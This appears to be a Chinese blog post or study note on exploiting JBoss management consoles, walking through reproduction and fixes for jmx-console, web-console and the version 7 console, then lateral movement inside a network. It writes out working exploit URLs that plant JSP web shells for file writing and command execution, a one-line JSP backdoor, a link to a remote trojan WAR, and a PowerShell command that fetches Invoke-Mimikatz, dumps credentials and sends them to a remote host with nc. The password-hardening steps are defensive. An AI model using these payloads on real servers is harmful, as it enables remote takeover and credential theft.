一次简单的漫游内网附带对jboss安全性的讨论

讲这个之前,先在本地搭建一个jboss环境,自从上次被吊打之后,觉得做安全的多少要会点防御,以前把太多精力放在攻击上面了。这就当做一个学习笔记,三件套,攻击过程,修复过程,自动化脚本。

漏洞复现 jmx-console

先安装docker镜像,docker pull tutum/jboss:as5

然后

docker run -d -p 8080:8080 -p 9990:9990 -e JBOSS_PASS="mypass" tutum/jboss

管理器的地址是 http://127.0.0.1:9990/manager/html 或者不设置密码

docker run -d -p 8080:8080 -p 9990:9990 tutum/jboss

这里选择as4版本,这个是老版本的jboss

然后找到addurl,填上war木马地址,进行远程部署 然后点击change

然后才到连接 http://192.168.190.145:8080/is/index.jsp 有些实际场景无法部署成功,可能做了限制吧 但是实际的路径确实在tmp路径下面

/jboss-4.2.3.GA/server/default/./tmp/deploy/tmp5962862023186656288is-exp.war/

漏洞修复 jxm-console

###1 加上密码验证 给jmx-console加上访问密码

常见路径

 /jboss-4.2.3.GA/server/default/deploy/jmx-console.war/

1.在/server/default/deploy/jmx-console.war/WEB-INF/jboss- web.xml去掉java:/jaas/jmx-console</security- domain>的注释 2.)修改jboss-web.xml同级目录下的web.xml文件,查找到节点,去掉它的注释 其中内容为

<auth-constraint>  
<role-name>JBossAdmin</role-name>  
</auth-constraint>  
</security-constraint>  

表示角色 3.在JBoss安装目录/server/default/config/login-config.xml 查找代码jmx-console 其中大致为

<module-option name="usersProperties">props/jmx-console-users.properties</module-option>  
<module-option name="rolesProperties">props/jmx-console-roles.properties</module-option>

打开jmx-console-users.properties 内容为

admin=admin #用户名:密码

jmx-console-roles.properties为角色分配

admin=JBossAdmin, HttpInvoker #用户名=角色,多个角色以“,”隔开

修复完成

关键路径 修改注视的地方 server/default/deploy/jmx-console.war/WEB-INF/jboss- web.xml server/default/deploy/jmx-console.war/WEB-INF/web.xml 用户密码位置 server/default/conf/props/jmx-console-users.properties jxm-console用户名密码

极端方法 删除 查找web-consel路径 find / -iname ServerInfo.jsp

jboss-4.2.3.GA/server/all/deploy/jmx-console.war
/jboss-4.2.3.GA/server/all/deploy/management/console-mgr.sar/web-console.war
jboss-4.2.3.GA/server/default/deploy/jmx-console.war
/jboss-4.2.3.GA/server/default/deploy/management/console-mgr.sar/web-console.war

漏洞复现 web-console

参考文献 各大容器拿shell 在有些高版本的jboss里面,貌似jxm-console无法直接部署 参考http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0157256.html

http://localhost:8080/jmx-console/HtmlAdaptor?action=invokeOpByName&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=upload5warn.war&argType=java.lang.String&&arg1=shell&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=%3c%25+if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b+%25%3e&argType=boolean&arg4=True

带回显

http://192.168.31.6:8080/upload5warn/shell.jsp?f=hello.jsp&t=%3C%25if(%22023%22.equals(request.getParameter(%22pwd%22)))%7Bjava.io.InputStream%20in%20=%20Runtime.getRuntime().exec(request.getParameter(%22i%22)).getInputStream();int%20a%20=%20-1;byte%5B%5D%20b%20=%20new%20byte%5B2048%5D;out.print(%22%3Cpre%3E%22);while((a=in.read(b))!=-1)%7Bout.println(new%20String(b));%7Dout.print(%22%3C/pre%3E%22);%7D%25%3E%0A

上面的用法任意写 http://192.168.31.6:8080/upload5warn/shell.jsp?f=hello.txt&t=whoami

之后在 http://192.168.31.6:8080/admin-console/secure/summary.seam?path=-33&conversationId=43&conversationPropagation=end会找到项目 物理路径为 /jboss-5.1.0.GA/server/default/deploy/management/upload5warn.war/shell.jsp

查看路径发现 所以访问 http://192.168.31.6:8080/upload5warn/shell.jsp?f=hello.txt&t=whoami可以写任意内容

漏洞修复 web-console

同方法一

漏洞复现 9990/console

上面说的都是老版本的jboss,下载心版本的jboss发现,没有了上面的jxm-console,测试的版本是as7 首先你要知道帐号和密码 在登录之后 选择好一个war就可以部署了,也可以下在园长mm的 http://p2j.cn/is.war 部署的时候记得点enable,然后访问就行了

漏洞修复 web-console

同方法一,修改密码

慢慢搞内网

我这里选择的是msf来入侵内网,用这个搞内网还是很成熟的,自动化很爽。 可以看到源码

内网渗透

首先尝试msf,但是发现反弹不出来,测试ping不通任何外网主机 试了几个常见的exp最终提权成功,不过域控没有搞下来,本次渗透就此作罢。 powweshell抓明文

powershell "IEX (New-Object Net.WebClient).DownloadString('http://is.gd/oeoFuI'); Invoke-Mimikatz -DumpCreds" | nc 192.168.1.1 4444 

修复参考文献

http://blog.knowsky.com/193845.htm jsp后门 附带几个jsp木马

<%Runtime.getRuntime().exec(request.getParameter("i"));%>

突然想到这些不同版本之间的拿shell方法不同,可以写一个完整的小项目来完成这个需求。